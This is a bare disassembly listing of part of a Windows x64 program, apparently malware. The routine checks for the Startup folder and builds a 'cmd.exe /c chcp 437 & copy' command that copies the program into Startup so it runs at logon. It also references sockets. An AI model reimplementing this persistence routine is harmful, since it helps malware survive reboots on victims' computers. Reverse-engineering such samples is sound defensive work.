call sub.VCRUNTIME140.dll_memmove
mov byte [r15 + rbx], 0
jmp 0x1400025bb
mov qword [rsp + 0x20], r15
mov rdx, r15
lea rcx, [rbp + 0x20]
call fcn.140003b20
mov rsi, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x40]
cmp rsi, 0x10
jb 0x1400025f2
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400025ea
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029b0
mov rcx, rdi
call fcn.140003f6c
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x3e0]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], socket
mov byte [rbp + 0x180], 0
lea rax, [rbp + 0x3e0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140002630
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x180]
call fcn.1400039a0
nop
lea rdi, [rbp + 0x180]
mov r15, qword [rbp + 0x180]
mov r12, qword [rbp + 0x198]
cmp r12, 0x10
cmovae rdi, r15
mov rax, qword [rbp + 0x190]
cmp rax, 7
jb 0x1400026dc
lea rsi, [rdi + rax]
lea r8, [rsi - 6]
sub r8, rdi
mov edx, 0x53
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400026dc
nop dword [rax + rax]
mov r8d, 7
lea rdx, str.Startup
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400029b7
inc rbx
lea r8, [rsi - 6]
sub r8, rbx
mov edx, 0x53
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x1400026a0
lea rdx, [rbp + 0x4f0]
lea rcx, [0x14000552c]
call fcn.140001040
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x6f0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x6f0]
xor ecx, ecx
call qword [rsp + 0x70]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
mov word [rbp + 0x3d0], ax
lea rcx, [rbp + 0x3a0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], al
jne 0x140002741
mov eax, dword [str.copy]
mov dword [rcx], eax
movzx eax, word [0x140005558]
mov word [rcx + 4], ax
lea rcx, [rbp + 0x3a0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140002766
movzx eax, word [0x14000555c]
mov word [rcx], ax
lea rdx, [rbp + 0x3a0]
dec rdx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140002783
lea r9, [rbp + 0x6f0]
xor r8d, r8d
nop word [rax + rax]
movzx ecx, byte [r9 + r8]
mov byte [rdx + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x1400027a0
lea rcx, [rbp + 0x3a0]
dec rcx
nop dword [rax + rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400027c0
mov word [rcx], ax
lea rdx, [rbp + 0x3a0]
dec rdx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x1400027d6
movzx ecx, word [0x140005560]
mov word [rdx], cx
lea rcx, [rbp + 0x3a0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400027f3
mov word [rcx], ax
lea r9, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae r9, qword [rbp + 0x20]
lea rdx, [rbp + 0x3a0]
dec rdx
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140002817
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r9 + r8]
mov byte [rdx + r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x140002830
lea rdx, [rbp + 0x3a0]
dec rdx
nop dword [rax + rax]
lea rdx, [rdx + 1]
cmp byte [rdx], 0
jne 0x140002850
mov word [rdx], ax
lea rdx, [rbp + 0x4f0]
lea rcx, [0x14000552c]
call fcn.140001040
mov ebx, 0x200
mov r8d, ebx
lea rdx, [rbp + 0x4f0]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x1400028d3
mov edx, ebx
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x4f0]
mov rax, r14
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400028b0
mov rdx, rbx
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x3a0]
mov rax, r14
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400028e0
test eax, eax
je 0x140002945
lea rcx, [rbp + 0x4f0]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x1400028f7
mov rdx, rbx
sub rdx, rax
lea r8, str.__c_chcp_437_
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x4f0]
inc r14
cmp byte [rax + r14], 0
jne 0x140002921
sub rbx, r14
lea r8, [rbp + 0x3a0]
mov rdx, rbx
lea rcx, [rbp + 0x4f0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov ebx, 1
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
xor ecx, ecx
call qword [rsp + 0x68]
nop
cmp r12, 0x10
jb 0x1400029df
lea rdx, [r12 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400029d6
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x1400026dc
lea rcx, str.already_have_file_no_copy_n
call fcn.140001040
xor edi, edi
mov ebx, edi
jmp 0x140002984
mov rcx, r15
call fcn.140003f6c
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140002a1d
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], recv
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140002a71
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], socket
mov byte [rbp + 0xa0], 0
mov rax, qword [rbp + 0x78]
cmp rax, 0x10
jb 0x140002aca
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ac4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
nop
mov rax, qword [rbp + 0xd8]
cmp rax, 0x10
jb 0x140002b10
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x140002b55
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b4f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
nop
mov rax, qword [rbp + 0xf8]
cmp rax, 0x10
jb 0x140002b9b
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
nop
mov rax, qword [rbp + 0x158]
cmp rax, 0x10
jb 0x140002bdd
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140002bd4
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002bd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.140003f6c
nop
mov rax, qword [rbp + 0x118]
cmp rax, 0x10
jb 0x140002c23
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
nop
mov rax, qword [rbp + 0x138]
cmp rax, 0x10
jb 0x140002c68
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f6c
mov eax, ebx
mov rcx, qword [rbp + 0x1910]
xor rcx, rsp
call fcn.140003cc0
lea r11, [rsp + 0x1a20]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.1400011a0
int3
call fcn.1400011a0
int3
call fcn.1400011a0
nop
call fcn.1400011a0
nop
call fcn.140003b00
int3